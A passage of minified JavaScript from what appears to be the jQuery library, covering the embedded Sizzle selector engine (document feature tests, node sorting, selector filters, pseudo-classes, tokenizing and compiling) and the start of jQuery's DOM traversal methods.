cu.attrHandle[dv[dx]] = dy
}
}
function ch(dv, i) {
var dx = i && dv,
dw = dx && dv.nodeType === 1 && i.nodeType === 1 && (~i.sourceIndex || cX) - (~dv.sourceIndex || cX);
if (dw) {
return dw
}
if (dx) {
while ((dx = dx.nextSibling)) {
if (dx === i) {
return -1
}
}
}
return dv ? 1 : -1
}
function cE(i) {
return function(dw) {
var dv = dw.nodeName.toLowerCase();
return dv === "input" && dw.type === i
}
}
function ci(i) {
return function(dw) {
var dv = dw.nodeName.toLowerCase();
return (dv === "input" || dv === "button") && dw.type === i
}
}
function de(i) {
return cq(function(dv) {
dv = +dv;
return cq(function(dw, dA) {
var dy, dx = i([], dw.length, dv),
dz = dx.length;
while (dz--) {
if (dw[(dy = dx[dz])]) {
dw[dy] = !(dA[dy] = dw[dy])
}
}
})
})
}
function c0(i) {
return i && typeof i.getElementsByTagName !== "undefined" && i
}
dp = cD.support = {};
cR = cD.isXML = function(i) {
var dv = i && (i.ownerDocument || i).documentElement;
return dv ? dv.nodeName !== "HTML" : false
};
c6 = cD.setDocument = function(dw) {
var i, dv, dx = dw ? dw.ownerDocument || dw : cQ;
if (dx === cJ || dx.nodeType !== 9 || !dx.documentElement) {
return cJ
}
cJ = dx;
cv = cJ.documentElement;
df = !cR(cJ);
if ((dv = cJ.defaultView) && dv.top !== dv) {
if (dv.addEventListener) {
dv.addEventListener("unload", dt, false)
} else {
if (dv.attachEvent) {
dv.attachEvent("onunload", dt)
}
}
}
dp.attributes = cm(function(dy) {
dy.className = "i";
return !dy.getAttribute("className")
});
dp.getElementsByTagName = cm(function(dy) {
dy.appendChild(cJ.createComment(""));
return !dy.getElementsByTagName("*").length
});
dp.getElementsByClassName = cW.test(cJ.getElementsByClassName);
dp.getById = cm(function(dy) {
cv.appendChild(dy).id = dh;
return !cJ.getElementsByName || !cJ.getElementsByName(dh).length
});
if (dp.getById) {
cu.find.ID = function(dA, dz) {
if (typeof dz.getElementById !== "undefined" && df) {
var dy = dz.getElementById(dA);
return dy ? [dy] : []
}
};
cu.filter.ID = function(dz) {
var dy = dz.replace(cz, dc);
return function(dA) {
return dA.getAttribute("id") === dy
}
}
} else {
delete cu.find.ID;
cu.filter.ID = function(dz) {
var dy = dz.replace(cz, dc);
return function(dB) {
var dA = typeof dB.getAttributeNode !== "undefined" && dB.getAttributeNode("id");
return dA && dA.value === dy
}
}
}
cu.find.TAG = dp.getElementsByTagName ? function(dy, dz) {
if (typeof dz.getElementsByTagName !== "undefined") {
return dz.getElementsByTagName(dy)
} else {
if (dp.qsa) {
return dz.querySelectorAll(dy)
}
}
} : function(dy, dC) {
var dD, dB = [],
dA = 0,
dz = dC.getElementsByTagName(dy);
if (dy === "*") {
while ((dD = dz[dA++])) {
if (dD.nodeType === 1) {
dB.push(dD)
}
}
return dB
}
return dz
};
cu.find.CLASS = dp.getElementsByClassName && function(dz, dy) {
if (typeof dy.getElementsByClassName !== "undefined" && df) {
return dy.getElementsByClassName(dz)
}
};
dm = [];
da = [];
if ((dp.qsa = cW.test(cJ.querySelectorAll))) {
cm(function(dy) {
cv.appendChild(dy).innerHTML = "<a id='" + dh + "'></a><select id='" + dh + "-\r\\' msallowcapture=''><option selected=''></option></select>";
if (dy.querySelectorAll("[msallowcapture^='']").length) {
da.push("[*^$]=" + cw + "*(?:''|\"\")")
}
if (!dy.querySelectorAll("[selected]").length) {
da.push("\\[" + cw + "*(?:value|" + cf + ")")
}
if (!dy.querySelectorAll("[id~=" + dh + "-]").length) {
da.push("~=")
}
if (!dy.querySelectorAll(":checked").length) {
da.push(":checked")
}
if (!dy.querySelectorAll("a#" + dh + "+*").length) {
da.push(".#.+[+~]")
}
});
cm(function(dz) {
var dy = cJ.createElement("input");
dy.setAttribute("type", "hidden");
dz.appendChild(dy).setAttribute("name", "D");
if (dz.querySelectorAll("[name=d]").length) {
da.push("name" + cw + "*[*^$|!~]?=")
}
if (!dz.querySelectorAll(":enabled").length) {
da.push(":enabled", ":disabled")
}
dz.querySelectorAll("*,:x");
da.push(",.*:")
})
}
if ((dp.matchesSelector = cW.test((cl = cv.matches || cv.webkitMatchesSelector || cv.mozMatchesSelector || cv.oMatchesSelector || cv.msMatchesSelector)))) {
cm(function(dy) {
dp.disconnectedMatch = cl.call(dy, "div");
cl.call(dy, "[s!='']:x");
dm.push("!=", cr)
})
}
da = da.length && new RegExp(da.join("|"));
dm = dm.length && new RegExp(dm.join("|"));
i = cW.test(cv.compareDocumentPosition);
cM = i || cW.test(cv.contains) ? function(dz, dy) {
var dB = dz.nodeType === 9 ? dz.documentElement : dz,
dA = dy && dy.parentNode;
return dz === dA || !!(dA && dA.nodeType === 1 && (dB.contains ? dB.contains(dA) : dz.compareDocumentPosition && dz.compareDocumentPosition(dA) & 16))
} : function(dz, dy) {
if (dy) {
while ((dy = dy.parentNode)) {
if (dy === dz) {
return true
}
}
}
return false
};
cL = i ? function(dz, dy) {
if (dz === dy) {
c4 = true;
return 0
}
var dA = !dz.compareDocumentPosition - !dy.compareDocumentPosition;
if (dA) {
return dA
}
dA = (dz.ownerDocument || dz) === (dy.ownerDocument || dy) ? dz.compareDocumentPosition(dy) : 1;
if (dA & 1 || (!dp.sortDetached && dy.compareDocumentPosition(dz) === dA)) {
if (dz === cJ || dz.ownerDocument === cQ && cM(cQ, dz)) {
return -1
}
if (dy === cJ || dy.ownerDocument === cQ && cM(cQ, dy)) {
return 1
}
return cP ? (ck(cP, dz) - ck(cP, dy)) : 0
}
return dA & 4 ? -1 : 1
} : function(dz, dy) {
if (dz === dy) {
c4 = true;
return 0
}
var dF, dC = 0,
dE = dz.parentNode,
dB = dy.parentNode,
dA = [dz],
dD = [dy];
if (!dE || !dB) {
return dz === cJ ? -1 : dy === cJ ? 1 : dE ? -1 : dB ? 1 : cP ? (ck(cP, dz) - ck(cP, dy)) : 0
} else {
if (dE === dB) {
return ch(dz, dy)
}
}
dF = dz;
while ((dF = dF.parentNode)) {
dA.unshift(dF)
}
dF = dy;
while ((dF = dF.parentNode)) {
dD.unshift(dF)
}
while (dA[dC] === dD[dC]) {
dC++
}
return dC ? ch(dA[dC], dD[dC]) : dA[dC] === cQ ? -1 : dD[dC] === cQ ? 1 : 0
};
return cJ
};
cD.matches = function(dv, i) {
return cD(dv, null, null, i)
};
cD.matchesSelector = function(dv, dx) {
if ((dv.ownerDocument || dv) !== cJ) {
c6(dv)
}
dx = dx.replace(cA, "='$1']");
if (dp.matchesSelector && df && !cN[dx + " "] && (!dm || !dm.test(dx)) && (!da || !da.test(dx))) {
try {
var i = cl.call(dv, dx);
if (i || dp.disconnectedMatch || dv.document && dv.document.nodeType !== 11) {
return i
}
} catch (dw) {}
}
return cD(dx, cJ, null, [dv]).length > 0
};
cD.contains = function(i, dv) {
if ((i.ownerDocument || i) !== cJ) {
c6(i)
}
return cM(i, dv)
};
cD.attr = function(dw, i) {
if ((dw.ownerDocument || dw) !== cJ) {
c6(dw)
}
var dv = cu.attrHandle[i.toLowerCase()],
dx = dv && cV.call(cu.attrHandle, i.toLowerCase()) ? dv(dw, i, !df) : undefined;
return dx !== undefined ? dx : dp.attributes || !df ? dw.getAttribute(i) : (dx = dw.getAttributeNode(i)) && dx.specified ? dx.value : null
};
cD.error = function(i) {
throw new Error("Syntax error, unrecognized expression: " + i)
};
cD.uniqueSort = function(dx) {
var dy, dz = [],
dv = 0,
dw = 0;
c4 = !dp.detectDuplicates;
cP = !dp.sortStable && dx.slice(0);
dx.sort(cL);
if (c4) {
while ((dy = dx[dw++])) {
if (dy === dx[dw]) {
dv = dz.push(dw)
}
}
while (dv--) {
dx.splice(dz[dv], 1)
}
}
cP = null;
return dx
};
cO = cD.getText = function(dz) {
var dy, dw = "",
dx = 0,
dv = dz.nodeType;
if (!dv) {
while ((dy = dz[dx++])) {
dw += cO(dy)
}
} else {
if (dv === 1 || dv === 9 || dv === 11) {
if (typeof dz.textContent === "string") {
return dz.textContent
} else {
for (dz = dz.firstChild; dz; dz = dz.nextSibling) {
dw += cO(dz)
}
}
} else {
if (dv === 3 || dv === 4) {
return dz.nodeValue
}
}
}
return dw
};
cu = cD.selectors = {
cacheLength: 50,
createPseudo: cq,
match: c9,
attrHandle: {},
find: {},
relative: {
">": {
dir: "parentNode",
first: true
},
" ": {
dir: "parentNode"
},
"+": {
dir: "previousSibling",
first: true
},
"~": {
dir: "previousSibling"
}
},
preFilter: {
ATTR: function(i) {
i[1] = i[1].replace(cz, dc);
i[3] = (i[3] || i[4] || i[5] || "").replace(cz, dc);
if (i[2] === "~=") {
i[3] = " " + i[3] + " "
}
return i.slice(0, 4)
},
CHILD: function(i) {
i[1] = i[1].toLowerCase();
if (i[1].slice(0, 3) === "nth") {
if (!i[3]) {
cD.error(i[0])
}
i[4] = +(i[4] ? i[5] + (i[6] || 1) : 2 * (i[3] === "even" || i[3] === "odd"));
i[5] = +((i[7] + i[8]) || i[3] === "odd")
} else {
if (i[3]) {
cD.error(i[0])
}
}
return i
},
PSEUDO: function(dv) {
var i, dw = !dv[6] && dv[2];
if (c9.CHILD.test(dv[0])) {
return null
}
if (dv[3]) {
dv[2] = dv[4] || dv[5] || ""
} else {
if (dw && cZ.test(dw) && (i = co(dw, true)) && (i = dw.indexOf(")", dw.length - i) - dw.length)) {
dv[0] = dv[0].slice(0, i);
dv[2] = dw.slice(0, i)
}
}
return dv.slice(0, 3)
}
},
filter: {
TAG: function(dv) {
var i = dv.replace(cz, dc).toLowerCase();
return dv === "*" ? function() {
return true
} : function(dw) {
return dw.nodeName && dw.nodeName.toLowerCase() === i
}
},
CLASS: function(i) {
var dv = cg[i + " "];
return dv || (dv = new RegExp("(^|" + cw + ")" + i + "(" + cw + "|$)")) && cg(i, function(dw) {
return dv.test(typeof dw.className === "string" && dw.className || typeof dw.getAttribute !== "undefined" && dw.getAttribute("class") || "")
})
},
ATTR: function(dw, dv, i) {
return function(dy) {
var dx = cD.attr(dy, dw);
if (dx == null) {
return dv === "!="
}
if (!dv) {
return true
}
dx += "";
return dv === "=" ? dx === i : dv === "!=" ? dx !== i : dv === "^=" ? i && dx.indexOf(i) === 0 : dv === "*=" ? i && dx.indexOf(i) > -1 : dv === "$=" ? i && dx.slice(-i.length) === i : dv === "~=" ? (" " + dx.replace(cB, " ") + " ").indexOf(i) > -1 : dv === "|=" ? dx === i || dx.slice(0, i.length + 1) === i + "-" : false
}
},
CHILD: function(dv, dy, dx, dz, dw) {
var dB = dv.slice(0, 3) !== "nth",
i = dv.slice(-4) !== "last",
dA = dy === "of-type";
return dz === 1 && dw === 0 ? function(dC) {
return !!dC.parentNode
} : function(dJ, dH, dM) {
var dC, dF, dP, dK, dL, dG, dI = dB !== i ? "nextSibling" : "previousSibling",
dO = dJ.parentNode,
dE = dA && dJ.nodeName.toLowerCase(),
dD = !dM && !dA,
dN = false;
if (dO) {
if (dB) {
while (dI) {
dK = dJ;
while ((dK = dK[dI])) {
if (dA ? dK.nodeName.toLowerCase() === dE : dK.nodeType === 1) {
return false
}
}
dG = dI = dv === "only" && !dG && "nextSibling"
}
return true
}
dG = [i ? dO.firstChild : dO.lastChild];
if (i && dD) {
dK = dO;
dP = dK[dh] || (dK[dh] = {});
dF = dP[dK.uniqueID] || (dP[dK.uniqueID] = {});
dC = dF[dv] || [];
dL = dC[0] === dq && dC[1];
dN = dL && dC[2];
dK = dL && dO.childNodes[dL];
while ((dK = ++dL && dK && dK[dI] || (dN = dL = 0) || dG.pop())) {
if (dK.nodeType === 1 && ++dN && dK === dJ) {
dF[dv] = [dq, dL, dN];
break
}
}
} else {
if (dD) {
dK = dJ;
dP = dK[dh] || (dK[dh] = {});
dF = dP[dK.uniqueID] || (dP[dK.uniqueID] = {});
dC = dF[dv] || [];
dL = dC[0] === dq && dC[1];
dN = dL
}
if (dN === false) {
while ((dK = ++dL && dK && dK[dI] || (dN = dL = 0) || dG.pop())) {
if ((dA ? dK.nodeName.toLowerCase() === dE : dK.nodeType === 1) && ++dN) {
if (dD) {
dP = dK[dh] || (dK[dh] = {});
dF = dP[dK.uniqueID] || (dP[dK.uniqueID] = {});
dF[dv] = [dq, dN]
}
if (dK === dJ) {
break
}
}
}
}
}
dN -= dw;
return dN === dz || (dN % dz === 0 && dN / dz >= 0)
}
}
},
PSEUDO: function(dx, dw) {
var i, dv = cu.pseudos[dx] || cu.setFilters[dx.toLowerCase()] || cD.error("unsupported pseudo: " + dx);
if (dv[dh]) {
return dv(dw)
}
if (dv.length > 1) {
i = [dx, dx, "", dw];
return cu.setFilters.hasOwnProperty(dx.toLowerCase()) ? cq(function(dA, dC) {
var dz, dy = dv(dA, dw),
dB = dy.length;
while (dB--) {
dz = ck(dA, dy[dB]);
dA[dz] = !(dC[dz] = dy[dB])
}
}) : function(dy) {
return dv(dy, 0, i)
}
}
return dv
}
},
pseudos: {
not: cq(function(i) {
var dv = [],
dw = [],
dx = c3(i.replace(cy, "$1"));
return dx[dh] ? cq(function(dz, dE, dC, dA) {
var dD, dy = dx(dz, null, dA, []),
dB = dz.length;
while (dB--) {
if ((dD = dy[dB])) {
dz[dB] = !(dE[dB] = dD)
}
}
}) : function(dA, dz, dy) {
dv[0] = dA;
dx(dv, null, dy, dw);
dv[0] = null;
return !dw.pop()
}
}),
has: cq(function(i) {
return function(dv) {
return cD(i, dv).length > 0
}
}),
contains: cq(function(i) {
i = i.replace(cz, dc);
return function(dv) {
return (dv.textContent || dv.innerText || cO(dv)).indexOf(i) > -1
}
}),
lang: cq(function(i) {
if (!c1.test(i || "")) {
cD.error("unsupported lang: " + i)
}
i = i.replace(cz, dc).toLowerCase();
return function(dw) {
var dv;
do {
if ((dv = df ? dw.lang : dw.getAttribute("xml:lang") || dw.getAttribute("lang"))) {
dv = dv.toLowerCase();
return dv === i || dv.indexOf(i + "-") === 0
}
} while ((dw = dw.parentNode) && dw.nodeType === 1);
return false
}
}),
target: function(i) {
var dv = dl.location && dl.location.hash;
return dv && dv.slice(1) === i.id
},
root: function(i) {
return i === cv
},
focus: function(i) {
return i === cJ.activeElement && (!cJ.hasFocus || cJ.hasFocus()) && !!(i.type || i.href || ~i.tabIndex)
},
enabled: function(i) {
return i.disabled === false
},
disabled: function(i) {
return i.disabled === true
},
checked: function(i) {
var dv = i.nodeName.toLowerCase();
return (dv === "input" && !!i.checked) || (dv === "option" && !!i.selected)
},
selected: function(i) {
if (i.parentNode) {
i.parentNode.selectedIndex
}
return i.selected === true
},
empty: function(i) {
for (i = i.firstChild; i; i = i.nextSibling) {
if (i.nodeType < 6) {
return false
}
}
return true
},
parent: function(i) {
return !cu.pseudos.empty(i)
},
header: function(i) {
return cs.test(i.nodeName)
},
input: function(i) {
return cj.test(i.nodeName)
},
button: function(dv) {
var i = dv.nodeName.toLowerCase();
return i === "input" && dv.type === "button" || i === "button"
},
text: function(dv) {
var i;
return dv.nodeName.toLowerCase() === "input" && dv.type === "text" && ((i = dv.getAttribute("type")) == null || i.toLowerCase() === "text")
},
first: de(function() {
return [0]
}),
last: de(function(i, dv) {
return [dv - 1]
}),
eq: de(function(i, dw, dv) {
return [dv < 0 ? dv + dw : dv]
}),
even: de(function(dv, dx) {
var dw = 0;
for (; dw < dx; dw += 2) {
dv.push(dw)
}
return dv
}),
odd: de(function(dv, dx) {
var dw = 1;
for (; dw < dx; dw += 2) {
dv.push(dw)
}
return dv
}),
lt: de(function(dv, dy, dx) {
var dw = dx < 0 ? dx + dy : dx;
for (; --dw >= 0;) {
dv.push(dw)
}
return dv
}),
gt: de(function(dv, dy, dx) {
var dw = dx < 0 ? dx + dy : dx;
for (; ++dw < dy;) {
dv.push(dw)
}
return dv
})
}
};
cu.pseudos.nth = cu.pseudos.eq;
for (cF in {
radio: true,
checkbox: true,
file: true,
password: true,
image: true
}) {
cu.pseudos[cF] = cE(cF)
}
for (cF in {
submit: true,
reset: true
}) {
cu.pseudos[cF] = ci(cF)
}
function c2() {}
c2.prototype = cu.filters = cu.pseudos;
cu.setFilters = new c2();
co = cD.tokenize = function(dy, dD) {
var dv, dz, dB, dC, dA, dw, i, dx = dg[dy + " "];
if (dx) {
return dD ? 0 : dx.slice(0)
}
dA = dy;
dw = [];
i = cu.preFilter;
while (dA) {
if (!dv || (dz = cC.exec(dA))) {
if (dz) {
dA = dA.slice(dz[0].length) || dA
}
dw.push((dB = []))
}
dv = false;
if ((dz = cI.exec(dA))) {
dv = dz.shift();
dB.push({
value: dv,
type: dz[0].replace(cy, " ")
});
dA = dA.slice(dv.length)
}
for (dC in cu.filter) {
if ((dz = c9[dC].exec(dA)) && (!i[dC] || (dz = i[dC](dz)))) {
dv = dz.shift();
dB.push({
value: dv,
type: dC,
matches: dz
});
dA = dA.slice(dv.length)
}
}
if (!dv) {
break
}
}
return dD ? dA.length : dA ? cD.error(dy) : dg(dy, dw).slice(0)
};
function cp(dy) {
var dx = 0,
dw = dy.length,
dv = "";
for (; dx < dw; dx++) {
dv += dy[dx].value
}
return dv
}
function cx(dy, dw, dx) {
var i = dw.dir,
dz = dx && i === "parentNode",
dv = db++;
return dw.first ? function(dC, dB, dA) {
while ((dC = dC[i])) {
if (dC.nodeType === 1 || dz) {
return dy(dC, dB, dA)
}
}
} : function(dF, dD, dC) {
var dG, dA, dE, dB = [dq, dv];
if (dC) {
while ((dF = dF[i])) {
if (dF.nodeType === 1 || dz) {
if (dy(dF, dD, dC)) {
return true
}
}
}
} else {
while ((dF = dF[i])) {
if (dF.nodeType === 1 || dz) {
dE = dF[dh] || (dF[dh] = {});
dA = dE[dF.uniqueID] || (dE[dF.uniqueID] = {});
if ((dG = dA[i]) && dG[0] === dq && dG[1] === dv) {
return (dB[2] = dG[2])
} else {
dA[i] = dB;
if ((dB[2] = dy(dF, dD, dC))) {
return true
}
}
}
}
}
}
}
function ds(i) {
return i.length > 1 ? function(dy, dx, dv) {
var dw = i.length;
while (dw--) {
if (!i[dw](dy, dx, dv)) {
return false
}
}
return true
} : i[0]
}
function cG(dw, dz, dy) {
var dx = 0,
dv = dz.length;
for (; dx < dv; dx++) {
cD(dw, dz[dx], dy)
}
return dy
}
function c7(dv, dw, dx, dy, dB) {
var dz, dE = [],
dA = 0,
dC = dv.length,
dD = dw != null;
for (; dA < dC; dA++) {
if ((dz = dv[dA])) {
if (!dx || dx(dz, dy, dB)) {
dE.push(dz);
if (dD) {
dw.push(dA)
}
}
}
}
return dE
}
function cn(dw, dv, dy, dx, dz, i) {
if (dx && !dx[dh]) {
dx = cn(dx)
}
if (dz && !dz[dh]) {
dz = cn(dz, i)
}
return cq(function(dK, dH, dC, dJ) {
var dM, dI, dE, dD = [],
dL = [],
dB = dH.length,
dA = dK || cG(dv || "*", dC.nodeType ? [dC] : dC, []),
dF = dw && (dK || !dv) ? c7(dA, dD, dw, dC, dJ) : dA,
dG = dy ? dz || (dK ? dw : dB || dx) ? [] : dH : dF;
if (dy) {
dy(dF, dG, dC, dJ)
}
if (dx) {
dM = c7(dG, dL);
dx(dM, [], dC, dJ);
dI = dM.length;
while (dI--) {
if ((dE = dM[dI])) {
dG[dL[dI]] = !(dF[dL[dI]] = dE)
}
}
}
if (dK) {
if (dz || dw) {
if (dz) {
dM = [];
dI = dG.length;
while (dI--) {
if ((dE = dG[dI])) {
dM.push((dF[dI] = dE))
}
}
dz(null, (dG = []), dM, dJ)
}
dI = dG.length;
while (dI--) {
if ((dE = dG[dI]) && (dM = dz ? ck(dK, dE) : dD[dI]) > -1) {
dK[dM] = !(dH[dM] = dE)
}
}
}
} else {
dG = c7(dG === dH ? dG.splice(dB, dG.length) : dG);
if (dz) {
dz(null, dH, dG, dJ)
} else {
ce.apply(dH, dG)
}
}
})
}
function di(dB) {
var dw, dz, dx, dA = dB.length,
dE = cu.relative[dB[0].type],
dF = dE || cu.relative[" "],
dy = dE ? 1 : 0,
dC = cx(function(i) {
return i === dw
}, dF, true),
dD = cx(function(i) {
return ck(dw, i) > -1
}, dF, true),
dv = [function(dI, dH, dG) {
var i = (!dE && (dG || dH !== du)) || ((dw = dH).nodeType ? dC(dI, dH, dG) : dD(dI, dH, dG));
dw = null;
return i
}];
for (; dy < dA; dy++) {
if ((dz = cu.relative[dB[dy].type])) {
dv = [cx(ds(dv), dz)]
} else {
dz = cu.filter[dB[dy].type].apply(null, dB[dy].matches);
if (dz[dh]) {
dx = ++dy;
for (; dx < dA; dx++) {
if (cu.relative[dB[dx].type]) {
break
}
}
return cn(dy > 1 && ds(dv), dy > 1 && cp(dB.slice(0, dy - 1).concat({
value: dB[dy - 2].type === " " ? "*" : ""
})).replace(cy, "$1"), dz, dy < dx && di(dB.slice(dy, dx)), dx < dA && di((dB = dB.slice(dx))), dx < dA && cp(dB))
}
dv.push(dz)
}
}
return ds(dv)
}
function c5(dx, dw) {
var i = dw.length > 0,
dy = dx.length > 0,
dv = function(dI, dC, dH, dG, dL) {
var dD, dE, dJ, dN = 0,
dF = "0",
dz = dI && [],
dO = [],
dM = du,
dB = dI || dy && cu.find.TAG("*", dL),
dA = (dq += dM == null ? 1 : Math.random() || 0.1),
dK = dB.length;
if (dL) {
du = dC === cJ || dC || dL
}
for (; dF !== dK && (dD = dB[dF]) != null; dF++) {
if (dy && dD) {
dE = 0;
if (!dC && dD.ownerDocument !== cJ) {
c6(dD);
dH = !df
}
while ((dJ = dx[dE++])) {
if (dJ(dD, dC || cJ, dH)) {
dG.push(dD);
break
}
}
if (dL) {
dq = dA
}
}
if (i) {
if ((dD = !dJ && dD)) {
dN--
}
if (dI) {
dz.push(dD)
}
}
}
dN += dF;
if (i && dF !== dN) {
dE = 0;
while ((dJ = dw[dE++])) {
dJ(dz, dO, dC, dH)
}
if (dI) {
if (dN > 0) {
while (dF--) {
if (!(dz[dF] || dO[dF])) {
dO[dF] = dk.call(dG)
}
}
}
dO = c7(dO)
}
ce.apply(dG, dO);
if (dL && !dI && dO.length > 0 && (dN + dw.length) > 1) {
cD.uniqueSort(dG)
}
}
if (dL) {
dq = dA;
du = dM
}
return dz
};
return i ? cq(dv) : dv
}
c3 = cD.compile = function(dv, dx) {
var dy, dw = [],
dA = [],
dz = cN[dv + " "];
if (!dz) {
if (!dx) {
dx = co(dv)
}
dy = dx.length;
while (dy--) {
dz = di(dx[dy]);
if (dz[dh]) {
dw.push(dz)
} else {
dA.push(dz)
}
}
dz = cN(dv, c5(dA, dw));
dz.selector = dv
}
return dz
};
dn = cD.select = function(dx, dv, dy, dB) {
var dz, dE, dw, dF, dC, dD = typeof dx === "function" && dx,
dA = !dB && co((dx = dD.selector || dx));
dy = dy || [];
if (dA.length === 1) {
dE = dA[0] = dA[0].slice(0);
if (dE.length > 2 && (dw = dE[0]).type === "ID" && dp.getById && dv.nodeType === 9 && df && cu.relative[dE[1].type]) {
dv = (cu.find.ID(dw.matches[0].replace(cz, dc), dv) || [])[0];
if (!dv) {
return dy
} else {
if (dD) {
dv = dv.parentNode
}
}
dx = dx.slice(dE.shift().value.length)
}
dz = c9.needsContext.test(dx) ? 0 : dE.length;
while (dz--) {
dw = dE[dz];
if (cu.relative[(dF = dw.type)]) {
break
}
if ((dC = cu.find[dF])) {
if ((dB = dC(dw.matches[0].replace(cz, dc), c8.test(dE[0].type) && c0(dv.parentNode) || dv))) {
dE.splice(dz, 1);
dx = dB.length && cp(dE);
if (!dx) {
ce.apply(dy, dB);
return dy
}
break
}
}
}
}(dD || c3(dx, dA))(dB, dv, !df, dy, !dv || c8.test(dx) && c0(dv.parentNode) || dv);
return dy
};
dp.sortStable = dh.split("").sort(cL).join("") === dh;
dp.detectDuplicates = !!c4;
c6();
dp.sortDetached = cm(function(i) {
return i.compareDocumentPosition(cJ.createElement("div")) & 1
});
if (!cm(function(i) {
i.innerHTML = "<a href='#'></a>";
return i.firstChild.getAttribute("href") === "#"
})) {
dr("type|href|height|width", function(dv, i, dw) {
if (!dw) {
return dv.getAttribute(i, i.toLowerCase() === "type" ? 1 : 2)
}
})
}
if (!dp.attributes || !cm(function(i) {
i.innerHTML = "<input/>";
i.firstChild.setAttribute("value", "");
return i.firstChild.getAttribute("value") === ""
})) {
dr("value", function(dv, i, dw) {
if (!dw && dv.nodeName.toLowerCase() === "input") {
return dv.defaultValue
}
})
}
if (!cm(function(i) {
return i.getAttribute("disabled") == null
})) {
dr(cf, function(dv, i, dx) {
var dw;
if (!dx) {
return dv[i] === true ? i.toLowerCase() : (dw = dv.getAttributeNode(i)) && dw.specified ? dw.value : null
}
})
}
return cD
})(bd);
bQ.find = l;
bQ.expr = l.selectors;
bQ.expr[":"] = bQ.expr.pseudos;
bQ.uniqueSort = bQ.unique = l.uniqueSort;
bQ.text = l.getText;
bQ.isXMLDoc = l.isXML;
bQ.contains = l.contains;
var ag = function(cg, ce, ch) {
var i = [],
cf = ch !== undefined;
while ((cg = cg[ce]) && cg.nodeType !== 9) {
if (cg.nodeType === 1) {
if (cf && bQ(cg).is(ch)) {
break
}
i.push(cg)
}
}
return i
};
var o = function(cf, ce) {
var i = [];
for (; cf; cf = cf.nextSibling) {
if (cf.nodeType === 1 && cf !== ce) {
i.push(cf)
}
}
return i
};
var A = bQ.expr.match.needsContext;
var a = (/^<([\w-]+)\s*\/?>(?:<\/\1>|)$/);
var aS = /^.[^:#\[\.,]*$/;
function aZ(cf, i, ce) {
if (bQ.isFunction(i)) {
return bQ.grep(cf, function(ch, cg) {
return !!i.call(ch, cg, ch) !== ce
})
}
if (i.nodeType) {
return bQ.grep(cf, function(cg) {
return (cg === i) !== ce
})
}
if (typeof i === "string") {
if (aS.test(i)) {
return bQ.filter(i, cf, ce)
}
i = bQ.filter(i, cf)
}
return bQ.grep(cf, function(cg) {
return (bQ.inArray(cg, i) > -1) !== ce
})
}
bQ.filter = function(cg, i, cf) {
var ce = i[0];
if (cf) {
cg = ":not(" + cg + ")"
}
return i.length === 1 && ce.nodeType === 1 ? bQ.find.matchesSelector(ce, cg) ? [ce] : [] : bQ.find.matches(cg, bQ.grep(i, function(ch) {
return ch.nodeType === 1
}))
};
bQ.fn.extend({
find: function(cf) {
var ci, ch = [],
cg = this,
ce = cg.length;
if (typeof cf !== "string") {
return this.pushStack(bQ(cf).filter(function() {
for (ci = 0; ci < ce; ci++) {
if (bQ.contains(cg[ci], this)) {
return true
}
}
}))
}
for (ci = 0; ci < ce; ci++) {
bQ.find(cf, cg[ci], ch)
}
ch = this.pushStack(ce > 1 ? bQ.unique(ch) : ch);
ch.selector = this.selector ? this.selector + " " + cf : cf;
return ch
},
filter: function(i) {
return this.pushStack(aZ(this, i || [], false))
},
not: function(i) {
return this.pushStack(aZ(this, i || [], true))
},
is: function(i) {
return !!aZ(this, typeof i === "string" && A.test(i) ? bQ(i) : i || [], false).length
}
});
var z, bB = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,
b4 = bQ.fn.init = function(i, cg, ce) {
var cf, ch;
if (!i) {
return this
}
ce = ce || z;
if (typeof i === "string") {
if (i.charAt(0) === "<" && i.charAt(i.length - 1) === ">" && i.length >= 3) {
cf = [null, i, null]
} else {
cf = bB.exec(i)
}
if (cf && (cf[1] || !cg)) {
if (cf[1]) {
cg = cg instanceof bQ ? cg[0] : cg;
bQ.merge(this, bQ.parseHTML(cf[1], cg && cg.nodeType ? cg.ownerDocument || cg : m, true));
if (a.test(cf[1]) && bQ.isPlainObject(cg)) {
for (cf in cg) {
if (bQ.isFunction(this[cf])) {
this[cf](cg[cf])
} else {
this.attr(cf, cg[cf])
}
}
}
return this
} else {
ch = m.getElementById(cf[2]);
if (ch && ch.parentNode) {
if (ch.id !== cf[2]) {
return z.find(i)
}
this.length = 1;
this[0] = ch
}
this.context = m;
this.selector = i;
return this
}
} else {
if (!cg || cg.jquery) {
return (cg || ce).find(i)
} else {
return this.constructor(cg).find(i)
}
}
} else {
if (i.nodeType) {
this.context = this[0] = i;
this.length = 1;
return this
} else {
if (bQ.isFunction(i)) {
return typeof ce.ready !== "undefined" ? ce.ready(i) : i(bQ)
}
}
}
if (i.selector !== undefined) {
this.selector = i.selector;
this.context = i.context
}
return bQ.makeArray(i, this)
};
b4.prototype = bQ.fn;
z = bQ(m);
var bD = /^(?:parents|prev(?:Until|All))/,
bH = {
children: true,
contents: true,
next: true,
prev: true
};
bQ.fn.extend({
has: function(ch) {
var cg, cf = bQ(ch, this),
ce = cf.length;
return this.filter(function() {
for (cg = 0; cg < ce; cg++) {
if (bQ.contains(this, cf[cg])) {
return true
}
}
})
},
closest: function(ci, ch) {
var cj, cg = 0,
cf = this.length,
ce = [],
ck = A.test(ci) || typeof ci !== "string" ? bQ(ci, ch || this.context) : 0;
for (; cg < cf; cg++) {
for (cj = this[cg]; cj && cj !== ch; cj = cj.parentNode) {
if (cj.nodeType < 11 && (ck ? ck.index(cj) > -1 : cj.nodeType === 1 && bQ.find.matchesSelector(cj, ci))) {
ce.push(cj);
break
}
}
}
return this.pushStack(ce.length > 1 ? bQ.uniqueSort(ce) : ce)
},
index: function(i) {
if (!i) {
return (this[0] && this[0].parentNode) ? this.first().prevAll().length : -1
}
if (typeof i === "string") {
return bQ.inArray(this[0], bQ(i))
}
return bQ.inArray(i.jquery ? i[0] : i, this)
},
add: function(i, ce) {
return this.pushStack(bQ.uniqueSort(bQ.merge(this.get(), bQ(i, ce))))
},
addBack: function(i) {
return this.add(i == null ? this.prevObject : this.prevObject.filter(i))
}
});
function a7(ce, i) {
do {
ce = ce[i]
} while (ce && ce.nodeType !== 1);
return ce
}
bQ.each({
parent: function(ce) {
var i = ce.parentNode;
return i && i.nodeType !== 11 ? i : null
},
parents: function(i) {
return ag(i, "parentNode")
},
parentsUntil: function(cf, ce, cg) {
return ag(cf, "parentNode", cg)
},
next: function(i) {
return a7(i, "nextSibling")
},
prev: function(i) {
return a7(i, "previousSibling")
},
